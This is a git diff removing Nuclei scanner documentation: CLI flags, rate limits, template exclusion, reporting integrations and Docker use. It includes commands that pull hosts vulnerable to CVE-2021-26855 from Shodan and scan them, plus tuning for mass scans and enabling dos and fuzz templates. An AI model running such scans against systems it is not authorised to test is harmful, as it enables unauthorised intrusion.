||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default 0)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string optional nuclei memory profile dump file
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-un, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json write statistics data to an output file in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
```
|
||||
|
||||
<Tip>
|
||||
From Nuclei v3.0.0 `-metrics` port has been removed and merged with `-stats`
|
||||
when using `-stats` flag metrics will be by default available at `localhost:9092/metrics`
|
||||
and metrics-port can be configured by `-metrics-port` flag
|
||||
</Tip>
|
||||
|
||||
### Rate **Limits**
|
||||
|
||||
Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.
|
||||
|
||||
| Flag | Description |
|
||||
| ---------- | -------------------------------------------------------------------- |
|
||||
| rate-limit | Control the total number of request to send per seconds |
|
||||
| bulk-size | Control the number of hosts to process in parallel for each template |
|
||||
| c | Control the number of templates to process in parallel |
|
||||
|
||||
Feel free to play with these flags to tune your nuclei scan speed and accuracy.
|
||||
|
||||
<Tip>
|
||||
`rate-limit` flag takes precedence over the other two flags, the number of
|
||||
requests/seconds can't go beyond the value defined for `rate-limit` flag
|
||||
regardless the value of `c` and `bulk-size` flag.
|
||||
</Tip>
|
||||
|
||||
### Traffic **Tagging**
|
||||
|
||||
Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`
|
||||
|
||||
<Note>
|
||||
Setting custom header using config file
|
||||
|
||||
```yaml
|
||||
# Headers to include with each request.
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
|
||||
Setting custom header using CLI flag
|
||||
|
||||
```yaml
|
||||
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Template **Exclusion**
|
||||
|
||||
Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.
|
||||
|
||||
- Default [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) list.
|
||||
|
||||
<Warning>
|
||||
**nuclei-ignore** file is not supposed to be updated / edited / removed by
|
||||
user, to overwrite default ignore list, utilize [nuclei
|
||||
configuration](/getting-started/features#nuclei-config) file.{' '}
|
||||
</Warning>
|
||||
|
||||
Nuclei engine supports two ways to manually exclude templates from scan,
|
||||
|
||||
1. Exclude Templates (`-exclude-templates/exclude`)
|
||||
|
||||
**exclude-templates** flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.
|
||||
|
||||
2. Exclude Tags (`-exclude-tags/etags`)
|
||||
|
||||
**exclude-tags** flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.
|
||||
|
||||
<Note>
|
||||
Example of excluding single template
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of multiple template exclusion
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with single tag
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags xss
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with multiple tags
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags sqli,rce
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
To easily overwrite [nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore), Nuclei engine supports **include-tags** / **include-templates** flag.
|
||||
|
||||
<Note>
|
||||
Example of running blocked templates
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -include-tags iot,misc,fuzz
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Scan on internet database
|
||||
|
||||
Nuclei supports integration with [uncover module](https://github.com/projectdiscovery/uncover) that supports services like Shodan, Censys, Hunter, Zoomeye, many more to execute Nuclei on these databases.
|
||||
|
||||
Here are uncover options to use -
|
||||
|
||||
```console
|
||||
nuclei -h uncover
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
```
|
||||
|
||||
You need to set the API key of the engine you are using as an environment variable in your shell.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
export CENSYS_API_ID=xxx
|
||||
export CENSYS_API_SECRET=xxx
|
||||
export FOFA_EMAIL=xxx
|
||||
export FOFA_KEY=xxx
|
||||
export QUAKE_TOKEN=xxx
|
||||
export HUNTER_API_KEY=xxx
|
||||
export ZOOMEYE_API_KEY=xxx
|
||||
```
|
||||
|
||||
Required API keys can be obtained by signing up on following platform [Shodan](https://account.shodan.io/register), [Censys](https://censys.io/register), [Fofa](https://fofa.info/toLogin), [Quake](https://quake.360.net/quake/#/index), [Hunter](https://user.skyeye.qianxin.com/user/register?next=https%3A//hunter.qianxin.com/api/uLogin&fromLogin=1) and [ZoomEye](https://www.zoomeye.org/login) .
|
||||
|
||||
Example of template execution using a search query.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
|
||||
```
|
||||
|
||||
It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.
|
||||
|
||||
Example of template execution using template-defined search queries.
|
||||
|
||||
Template snippet of [CVE-2021-26855](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)
|
||||
|
||||
```yaml
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
|
||||
```console
|
||||
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
|
||||
nuclei -tags cve -uncover
|
||||
```
|
||||
|
||||
We can update the nuclei configuration file to include these tags for all scans.
|
||||
|
||||
## **Large scans** using Nuclei
|
||||
|
||||
Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.
|
||||
|
||||
For enterprises dealing with large-scale scanning, optimizing Nuclei can be a burdensome task, especially when scans change frequently. That's where [Nuclei Enterprise](https://nuclei.sh/enterprise) comes in. With its managed offering and dedicated support, Nuclei Enterprise minimizes the burden of optimizing Nuclei on large scans, making it an ideal choice for enterprise-level scanning needs.
|
||||
|
||||
|
||||
| Flag | Short | Description |
|
||||
| ------------- | ----- | --------------------------------------------------------- |
|
||||
| scan-strategy | -ss | Scan Strategy to Use (auto/host-spray/template-spray) |
|
||||
| bulk-size | -bs | Max Number of targets to scan in parallel |
|
||||
| concurrency | -c | Max Number of templates to use in parallel while scanning |
|
||||
| stream | - | stream mode - start elaborating without sorting the input |
|
||||
|
||||
<Note>
|
||||
These are common parameters that need to be tuned. Apart from these
|
||||
`-rate-limit`, `-retries`, `-timeout`, `-max-host-error` also need to be tuned
|
||||
based on targets that are being scanned
|
||||
</Note>
|
||||
|
||||
### Which Scan Strategy to Use?
|
||||
|
||||
**scan-strategy** option can have three possible values
|
||||
|
||||
- `host-spray` : All templates are iterated over each target.
|
||||
- `template-spray` : Each template is iterated over all targets.
|
||||
- `auto`(Default) : Placeholder of `template-spray` for now.
|
||||
|
||||
User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.
|
||||
|
||||
- When targets < 1000, `template-spray` should be used. This strategy is slightly faster than `host-spray` but uses more RAM and does not optimally reuse connections.
|
||||
- When targets > 1000, `host-spray` should be used. This strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.
|
||||
|
||||
### Concurrency & Bulk-Size
|
||||
|
||||
Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.
|
||||
|
||||
**If `scan-strategy` is template-spray**
|
||||
|
||||
- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)
|
||||
|
||||
**If `scan-strategy` is host-spray**
|
||||
|
||||
- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)
|
||||
|
||||
<Tip> `-concurrency` x `-bulk-size` \<\= 2500 (depending on system config) </Tip>
|
||||
|
||||
### Stream
|
||||
|
||||
This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.
|
||||
|
||||
## Nuclei **Config**
|
||||
|
||||
> Since release of [v2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) nuclei uses [goflags](https://github.com/projectdiscovery/goflags) for clean CLI experience and long/short formatted flags.
|
||||
>
|
||||
> [goflags](https://github.com/projectdiscovery/goflags) comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
|
||||
>
|
||||
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.
|
||||
|
||||
Here is an example config file:
|
||||
|
||||
```yaml
|
||||
# Headers to include with all HTTP request
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
|
||||
# Directory based template execution
|
||||
templates:
|
||||
- cves/
|
||||
- vulnerabilities/
|
||||
- misconfiguration/
|
||||
|
||||
# Tags based template execution
|
||||
tags: exposures,cve
|
||||
|
||||
# Template Filters
|
||||
tags: exposures,cve
|
||||
author: geeknik,pikpikcu,dhiyaneshdk
|
||||
severity: critical,high,medium
|
||||
|
||||
# Template Allowlist
|
||||
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
|
||||
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Template Denylist
|
||||
exclude-tags: info # Tag based exclusion
|
||||
exclude-templates: # Template based exclusion
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Rate Limit configuration
|
||||
rate-limit: 500
|
||||
bulk-size: 50
|
||||
concurrency: 50
|
||||
```
|
||||
|
||||
Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.
|
||||
|
||||
<Note>
|
||||
**Running nuclei with custom config file**
|
||||
|
||||
```
|
||||
nuclei -config project.yaml -list urls.txt
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
## Nuclei **Reporting**
|
||||
|
||||
Nuclei comes with reporting module support with the release of [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.
|
||||
|
||||
| **Platform** | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch | Splunk HEC |
|
||||
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Support** | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an [example config file](https://github.com/projectdiscovery/nuclei/blob/main/cmd/nuclei/issue-tracker-config.yaml) for all supported platforms.
|
||||
|
||||
For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitHub contains configuration options for GitHub issue tracker
|
||||
|
||||
github:
|
||||
username: '$user'
|
||||
owner: '$user'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'Nuclei'
|
||||
```
|
||||
|
||||
Alternatively if you use GitLab, create a config file following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitLab contains configuration options for GitLab issue tracker
|
||||
|
||||
gitlab:
|
||||
username: '$user'
|
||||
base-url: 'gitlab.com'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'nuclei-label'
|
||||
severity-as-label: true
|
||||
duplicate-issue-check: true
|
||||
```
|
||||
|
||||
To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# elasticsearch contains configuration options for elasticsearch exporter
|
||||
elasticsearch:
|
||||
# IP for elasticsearch instance
|
||||
ip: 127.0.0.1
|
||||
# Port is the port of elasticsearch instance
|
||||
port: 9200
|
||||
# IndexName is the name of the elasticsearch index
|
||||
index-name: nuclei
|
||||
```
|
||||
|
||||
To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# splunkhec contains configuration options for splunkhec exporter
|
||||
splunkhec:
|
||||
# Hostname for splunkhec instance
|
||||
host: '$hec_host'
|
||||
# Port is the port of splunkhec instance
|
||||
port: 8088
|
||||
# IndexName is the name of the splunkhec index
|
||||
index-name: nuclei
|
||||
# SSL enables ssl for splunkhec connection
|
||||
ssl: true
|
||||
# SSLVerification disables SSL verification for splunkhec
|
||||
ssl-verification: true
|
||||
# HEC Token for the splunkhec instance
|
||||
token: '$hec_token'
|
||||
```
|
||||
|
||||
To forward results to Jira, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
The Jira reporting options allows for custom fields, as well as using variables from the Nuclei templates in those custom fields.
|
||||
The supported variables currently are: `$CVSSMetrics`, `$CVEID`, `$CWEID`, `$Host`, `$Severity`, `$CVSSScore`, `$Name`
|
||||
|
||||
In addition, Jira is strict when it comes to custom field entry. If the field is a dropdown, Jira accepts only the case sensitive specific string and the API call is slightly different. To support this, there are three types of customfields.
|
||||
|
||||
- `name` is the dropdown value
|
||||
- `id` is the ID value of the dropdown
|
||||
- `freeform` is if the customfield the entry of any value
|
||||
|
||||
To avoid duplication, the JQL query run can be slightly modified by the config file.
|
||||
The `CLOSED_STATUS` can be changed in the Jira template file using the `status-not` variable.
|
||||
`summary ~ TEMPLATE_NAME AND summary ~ HOSTNAME AND status != CLOSED_STATUS`
|
||||
|
||||
```yaml
|
||||
jira:
|
||||
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
|
||||
cloud: true
|
||||
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
|
||||
update-existing: false
|
||||
# URL is the jira application url
|
||||
url: https://localhost/jira
|
||||
# account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
account-id: test-account-id
|
||||
# email is the email of the user for Jira instance
|
||||
email: test@test.com
|
||||
# token is the token for Jira instance or password in case of on-prem Jira
|
||||
token: test-token
|
||||
#project-name is the name of the project.
|
||||
project-name: test-project-name
|
||||
#issue-type is the name of the created issue type (case sensitive)
|
||||
issue-type: Bug
|
||||
# SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# User custom fields for Jira Cloud instead
|
||||
severity-as-label: true
|
||||
# Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
status-not: Closed
|
||||
# Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
|
||||
# freeform can be used if the custom field is just a text entry
|
||||
# Variables can be used to pull various pieces of data from the finding itself.
|
||||
# Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
|
||||
custom_fields:
|
||||
customfield_00001:
|
||||
name: 'Nuclei'
|
||||
customfield_00002:
|
||||
freeform: $CVSSMetrics
|
||||
customfield_00003:
|
||||
freeform: $CVSSScore
|
||||
```
|
||||
|
||||
**Running nuclei with reporting module:**
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
|
||||
```
|
||||
|
||||
Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.
|
||||
|
||||
```yaml
|
||||
allow-list:
|
||||
severity: high,critical
|
||||
```
|
||||
|
||||
This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.
|
||||
|
||||
If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
|
||||
```
|
||||
|
||||
**<ins>Markdown Export</ins>**
|
||||
|
||||
Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.
|
||||
|
||||
Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
|
||||
```
|
||||
|
||||
**<ins>SARIF Export</ins>**
|
||||
|
||||
Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
|
||||
```
|
||||
|
||||
It is also possible to visualize Nuclei results using **SARIF** files.
|
||||
|
||||
1. By uploading a SARIF file to [SARIF Viewer](https://microsoft.github.io/sarif-web-component/)
|
||||
|
||||
2. By uploading a SARIF file to [Github Actions](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)
|
||||
|
||||
More info on the SARIF output is documented [here](https://github.com/projectdiscovery/nuclei/pull/2925).
|
||||
|
||||
<Note>
|
||||
These are **not official** viewers of Nuclei and `Nuclei` has no liability
|
||||
towards any of these options to visualize **Nuclei** results. These are just
|
||||
some publicly available options to visualize SARIF files.
|
||||
</Note>
|
||||
|
||||
## Scan **Metrics**
|
||||
|
||||
Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.
|
||||
|
||||
Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`
|
||||
|
||||
```bash
|
||||
curl -s localhost:9092/metrics | jq .
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"duration": "0:00:03",
|
||||
"errors": "2",
|
||||
"hosts": "1",
|
||||
"matched": "0",
|
||||
"percent": "99",
|
||||
"requests": "350",
|
||||
"rps": "132",
|
||||
"startedAt": "2021-03-27T18:02:18.886745+05:30",
|
||||
"templates": "256",
|
||||
"total": "352"
|
||||
}
|
||||
```
|
||||
|
||||
## Passive Scan
|
||||
|
||||
Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.
|
||||
|
||||
```sh
|
||||
nuclei -passive -target http_data
|
||||
```
|
||||
|
||||
<Note>Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.</Note>
|
||||
|
||||
## Running With Docker
|
||||
If Nuclei was installed within a Docker container based on the [installation instructions](./install),
|
||||
the executable does not have the context of the host machine. This means that the executable will not be able to access
|
||||
local files such as those used for input lists or templates. To resolve this, the container should be run with volumes
|
||||
mapped to the local filesystem to allow access to these files.
|
||||
|
||||
### Basic Usage
|
||||
This example runs a Nuclei container against `google.com`, prints the results to JSON and removes the container once it
|
||||
has completed:
|
||||
```sh
|
||||
docker run --rm projectdiscovery/nuclei -u google.com -jsonl
|
||||
```
|
||||
|
||||
### Using Volumes
|
||||
This example runs a Nuclei container against a list of URLs, writes the results to a `.jsonl` file and removes the
|
||||
container once it has completed.
|
||||
```sh
|
||||
# This assumes there's a file called `urls.txt` in the current directory
|
||||
docker run --rm -v ./:/app/ projectdiscovery/nuclei -l /app/urls.txt -jsonl /app/results.jsonl
|
||||
# The results will be written to `./results.jsonl` on the host machine once the container has completed
|
||||
```
|
||||
|
Before Width: | Height: | Size: 490 KiB |
|
Before Width: | Height: | Size: 384 KiB |
|
Before Width: | Height: | Size: 1.0 MiB |
|
Before Width: | Height: | Size: 618 KiB |
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 28 KiB |
148
docs/mint.json
@ -1,148 +0,0 @@
|
||||
{
|
||||
"$schema":"https://mintlify.com/schema.json",
|
||||
"name":"Nuclei Documentation",
|
||||
"logo":{
|
||||
"dark":"/logo/dark.png",
|
||||
"light":"/logo/light.png"
|
||||
},
|
||||
"favicon":"/favicon.png",
|
||||
"colors":{
|
||||
"primary":"#3B2FC9",
|
||||
"light":"#6673FF",
|
||||
"dark":"#3B2FC9"
|
||||
},
|
||||
"backgroundImage":"/images/background.png",
|
||||
"topbarCtaButton":{
|
||||
"type":"github",
|
||||
"url":"https://github.com/projectdiscovery/nuclei"
|
||||
},
|
||||
"topAnchor":{
|
||||
"name":"Getting Started",
|
||||
"icon":"circle-play"
|
||||
},
|
||||
"primaryTab":{
|
||||
"name":"Getting Started"
|
||||
},
|
||||
"tabs":[
|
||||
{
|
||||
"name":"Template Guide",
|
||||
"url":"template-guide"
|
||||
},
|
||||
{
|
||||
"name":"Template Example",
|
||||
"url":"template-example"
|
||||
},
|
||||
{
|
||||
"name":"Template Editor",
|
||||
"url":"editor"
|
||||
},
|
||||
{
|
||||
"name":"FAQ",
|
||||
"url":"faq"
|
||||
}
|
||||
],
|
||||
"navigation":[
|
||||
{
|
||||
"group":"Getting Started",
|
||||
"pages":[
|
||||
"getting-started/overview",
|
||||
"getting-started/features",
|
||||
"getting-started/install",
|
||||
"getting-started/running"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Guide",
|
||||
"pages":[
|
||||
"template-guide/introduction",
|
||||
"template-guide/template-details",
|
||||
{
|
||||
"group":"HTTPs",
|
||||
"pages":[
|
||||
